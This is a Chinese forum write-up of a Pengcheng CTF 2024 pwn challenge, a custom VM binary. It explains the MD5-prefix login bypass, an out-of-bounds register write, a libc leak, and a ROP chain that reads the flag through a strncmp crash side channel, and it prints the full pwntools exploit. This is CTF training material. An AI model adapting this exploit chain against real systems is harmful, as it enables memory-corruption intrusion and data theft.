首页
社区
课程
招聘
[原创][原创]鹏城2024pwn 0解题 vm 详解
发表于: 2024-11-24 22:51 359

[原创][原创]鹏城2024pwn 0解题 vm 详解

2024-11-24 22:51
359

鹏城ctf2024 pwn VM

这是笔者第一次发布的文章,如有错误和不合适的地方请多多指教。废话不多说直接开始逆。

加密绕过

先是对输入的字符串进行分割检查,这一步不必多说只需要跟着 ida伪代码一个个写就行, 如此其中'A' + Key 就是被加密并检测的 字符串LOGIN:root\nxxxxx:&&h3r3_1s_y0u2_G1ft!&&A{key}\nDONE & EXIT

接着,我们先大致看一下大概的 加密函数流程,通过对 sub_15D2 函数观察,不难发现它可能是某种 哈希函数,对哈希函数陌生也没事,直接粘贴给ai啃,可能一个消息摘要算法的实现,例如 MD5 或 SHA-1----ai的回答。
ctf pwn常见的一些加密,要么是原本库的加密函数直接用,要么是对常见加密进行一定的魔改,例如修改字典等等,当然还可能是出题人自己写的较为简单的加密来考察选手逆向和调试能力。

所以这里我们直接先假设是某种常见 标准加密函数 ,经过与调试查看题目加密后结果 与标准md5加密结果一样,那么大大减小我们逆向的工作量了
不难发现strcmp(&::s1, s2) 题目中s1第三字节是'\x00', 字符串检查函数是strcmp,很显然它只会比较两个字符串的前3字节了,接着一个对md5前三字节爆破即可,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def calculate_md5(input_string):
    md5_hash = hashlib.md5()
    md5_hash.update(input_string.encode('latin1'))  # 使用 'latin1' 编码以支持不可见字符
    return md5_hash.hexdigest()
 
def brute_force_md5():
    prefix = "A"
    target_prefix = "1d6c00"
    max_length = 5  # 设置最大长度以限制搜索范围
 
    def generate_candidates(prefix, length):
        if length == 0:
            yield prefix
        else:
            for i in range(1, 256):  # 从 1 到 255,排除 \x00
                yield from generate_candidates(prefix + chr(i), length - 1)
 
    for length in range(1, max_length + 1):
        for candidate in generate_candidates(prefix, length):
            md5_result = calculate_md5(candidate)
            if md5_result.startswith(target_prefix):
                return candidate, md5_result
 
    return None, None

沙盒绕过分析


本题是白名单沙盒 无 w,那么就只能侧信道攻击了,

主逻辑函数逆向和漏洞挖掘

本题逆向难度不大,代码量很小,sub_2491函数逆向几个case后对a1结构比较熟悉了,方便逆向a1的struct定义一下,这里我简单定义一下

1
2
3
4
5
6
7
8
9
struct struct_a1
{
char reg[64];
unsigned __int8 *rsp;
unsigned __int8 *rbp;
unsigned __int8 *code;
unsigned int x58;
unsigned int x6c;
};

接着一个case一个case的读,vm对寄存器操作很全 regn = int64 , regn = (int64)*(addr) ,regn = *(regx ) , *regn =regx ,regn =regn - int64 ,regn= regn - regx等等操作功能,对后续pwn 很方便,只要我们泄漏了libc地址就可以任意地址写。
逆完一遍,好像没发现漏洞,重新读一遍
找到了,这里对第二个寄存器下标少了检查,可以给 reg 任意越界赋值了
其中case 0x14,可以 将栈的空间 free 掉并再次分配
那么将其free 置入 unsortedbin ,通过case 0x12 给reg 越界赋值即可

接下来 主要是对 数据操作,任意地址写,我这里选择的是通过environs 泄漏栈地址,然后 将ROP 写在保存main 函数返回地址 的 位置,保证ROP 正常写完,其他攻击方法也很多,因为libc-2.31有各种hook进行栈迁移嘛。

侧信道攻击

上一步我们实现任意ROP ,open read 后,接着就对flag的侧信了,想办法让我们知道我们爆破写入的flag字符是正确的,其实不难想到本题开始时的check多次使用strcmp函数,顺理成章想到使用strncmp来对 flag一个一个字节进行侧信验证,正好strncmp 对比的字符串相同时返回 0,对应了read的调用号,都知道程序调用read时开始等待用户输入,程序不会直接崩溃,那么就可以将 strncmp后的ROP 布置好,若返回0 ,syscall调用read 否则直接崩溃,那么循环爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
visible_characters = string.printable[:-6# 去掉不可见字符
Flag =''
tmp = 0
while True:
    if Flag[-1:] == '}':
        print(Flag)
        break
    for char in visible_characters:
        print(f"offset --{tmp} --{char}")
        try:
            io = process(local_file)
            pwn(char, tmp)
            response = io.recv(6, timeout=2)
            io.close()
            Flag += char
            tmp += 1
            print('find:')
            print(Flag)
            io.close()
            break
        except EOFError:
            print("EOFError")
            io.close()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
# import time
#import numpy as np
# import hashlib
import string
local_file  = './vm'
elf = ELF(local_file)
libc=ELF('libc-2.31.so')
# context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h''
 
s      = lambda data               :io.send(data)
sa     = lambda delim,data         :io.sendafter(delim, data)
sl     = lambda data               :io.sendline(data)
sla    = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru     = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32   = lambda data               :u32(data.ljust(4, b'\x00'))
uu64   = lambda data               :u64(data.ljust(8, b'\x00'))
get_q = lambda data: (~np.uint64(data) + 1)
get_d = lambda data: (~np.uint32(data) + 1)
def get_sh() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr    = lambda                    :io.interactive()
is_debug = 1
if is_debug:
    #io = process(local_file)
        libc = elf.libc
else:
    io = remote('8.147.128.187',0)
    libc = elf.libc
    #libc = ELF('.') #libc
 
def debug(cmd='''b *$rebase(0x00039D1 )'''):
    if is_debug: gdb.attach(io,cmd)
    pause()
 
# 一个md5算法使用demo
 
# import hashlib
 
# def calculate_md5(input_string):
#     md5_hash = hashlib.md5()
#     md5_hash.update(input_string.encode('latin1'))  # 使用 'latin1' 编码以支持不可见字符
#     return md5_hash.hexdigest()
 
# def brute_force_md5():
#     prefix = "A"
#     target_prefix = "1d6c00"
#     max_length = 5  # 设置最大长度以限制搜索范围
 
#     def generate_candidates(prefix, length):
#         if length == 0:
#             yield prefix
#         else:
#             for i in range(1, 256):  # 从 1 到 255,排除 \x00
#                 yield from generate_candidates(prefix + chr(i), length - 1)
 
#     for length in range(1, max_length + 1):
#         for candidate in generate_candidates(prefix, length):
#             md5_result = calculate_md5(candidate)
#             if md5_result.startswith(target_prefix):
#                 return candidate, md5_result
 
#     return None, None
 
# # 示例调用
# input_string, md5_result = brute_force_md5()
# if input_string:
#     print(f"Found input: {input_string}")
#     print(f"MD5 哈希值: {md5_result}")
# else:
#     print("No matching input found.")
# s(input_string)
 
def reg1add(i):
    return b'\x61'+p8(1)+p8(1)+p64(i)
def reg0add(i):
    return b'\x61'+p8(1)+p8(0)+p64(i)
def regnadd(n,i):
    return b'\x61'+p8(1)+p8(n)+p64(i)
def reg1sub(i):
    return b'\x63'+p8(1)+p8(1)+p64(i)
def reg0sub(i):
    return b'\x63'+p8(1)+p8(0)+p64(i)
def regnsub(n,i):
    return b'\x63'+p8(1)+p8(n)+p64(i)
def reg2add(i):
    return b'\x61'+p8(1)+p8(2)+p64(i)
def reg3add(i):
    return b'\x61'+p8(1)+p8(3)+p64(i)
def reg4add(i):
    return b'\x61'+p8(1)+p8(4)+p64(i)
def reg5add(i):
    return b'\x61'+p8(1)+p8(5)+p64(i)
def reg6add(i):
    return b'\x61'+p8(1)+p8(6)+p64(i)
 
def reg2sub(i):
    return b'\x63'+p8(1)+p8(2)+p64(i)
def reg5sub(i):
    return b'\x63'+p8(1)+p8(5)+p64(i)
def reg6sub(i):
    return b'\x63'+p8(1)+p8(6)+p64(i)
def reg7sub(i):
    return b'\x63'+p8(1)+p8(7)+p64(i)
def reg3sub(i):
    return b'\x63'+p8(1)+p8(3)+p64(i)
#0x21b110
def regn_reg1(i):
    return b'\x61'+p8(0)+p8(i)+p8(1)
def regn_reg0(i):
    return b'\x61'+p8(0)+p8(i)+p8(0)
def regn_regi_addr(n,i):
    return b'\x12'+p8(8)+p8(n)+p8(i)
def addr_regn_regi_(n,i):
    return b'\x12'+p8(16)+p8(n)+p8(i)
def reg5(i):
    return b'\x12'+p8(1)+p8(5)+p64(i)
 
def ropr(offest):
    return reg3add(offest)+addr_regn_regi_(2,3)+reg2add(8)+reg3sub(offest)
    #base = libc_base
def ropregs(offest):
    return reg6add(offest)+addr_regn_regi_(2,6)+reg2add(8)+reg6sub(offest)
    # base = 0
 
def readrsi():
    return addr_regn_regi_(2,0)+reg2add(8)
def rop_addr_reg(i):
    return addr_regn_regi_(2,i)+reg2add(8)
def roper(offest):
    return reg5add(offest)+addr_regn_regi_(2,5)+reg2add(8)+reg5sub(offest)
def flag():
    return b'\x12'+p8(16)+p8(2)+p8(0)+reg2add(8)
# debug()
 
def pwn(str,i):
    ru('cmd:')
    key='n9q'
    keystr=f"LOGIN:root\nxxxxx:&&h3r3_1s_y0u2_G1ft!&&A{key}\nDONE & EXIT"
    # 0x6c1d00
    sl(keystr)
    ##
    push=b'\xb4\x01'+p64(1)
    pushreg=b'\xb4\x01'+p64(0)+p8(1)
    rdi=0x0000000000023b6a
    rsi=0x000000000002601f
    rax=0x0000000000036174
    rdx=0x0000000000142c92
    syscall=0x630A9
    ret=0x0000000000022679
    strncmp=0x184010
    ru('Man!what can I say?hahaha:\n')
    code=b'\x14'+p32(0x600)+p8(0x12)+p8(4)+p8(1)+p8(14) +p8(0x12)+p8(4)+p8(0)+p8(8)
    #reg0 =heap reg1= libc
 
    code+=reg1sub(0x1ed010)
    code+=reg0sub(0x1190-0x20)
    code+=reg4add(0x67616c662f)# flag
    code+=regn_reg0(7)
    code+=reg7sub(0x30) # force_addr
 
    code+=reg5(ord(str)) # force
 
    code+=addr_regn_regi_(7,5)
    code+=reg5(0x0)
    code+=regn_reg1(2)
    code+=regn_reg1(3)
    code+=reg2add(0x1ef600)
    code+=regn_regi_addr(2,2)
    code+=reg2sub(0x100) # ret
    code+=ropr(rax)+ropregs(2)+ropr(rdi)+flag()+ropr(rsi)+ropregs(0)+ropr(rdx)+ropregs(0)+ropr(syscall)
    code+=ropr(rax)+ropregs(0)+ropr(rdi)+ropregs(3)+ropr(rsi)+rop_addr_reg(0)+ropr(rdx)+roper(0x30)+ropr(syscall)
    code+=ropr(rdi)+rop_addr_reg(7)
    code+=reg0add(i) # offest
    code+=ropr(rsi)+rop_addr_reg(0)
    code+=ropr(rdx)+roper(0x1)
    code+=ropr(strncmp)+ ropr(rdi)+ropregs(0)+ropr(rsi)+rop_addr_reg(0)+ropr(rdx)+roper(0x30)+ropr(syscall)
    s(code)
 
visible_characters = string.printable[:-6# 去掉不可见字符
Flag =''
tmp = 0
while True:
    if Flag[-1:] == '}':
        print(Flag)
        break
    for char in visible_characters:
        print(f"offset --{tmp} --{char}")
        try:
            io = process(local_file)
            pwn(char, tmp)
            response = io.recv(6, timeout=2)
            io.close()
            Flag += char
            tmp += 1
            print('find:')
            print(Flag)
            io.close()
            break
        except EOFError:
            print("EOFError")
            io.close()

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-11-25 19:44 被Diavolo__编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 313
活跃值: (320)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这个测信操作,学习到了

另外推荐装个 findcrypt 之类的插件,可以快速识别常见 crypto 用的常数
2025-7-12 06:11
0
游客
登录 | 注册 方可回帖
返回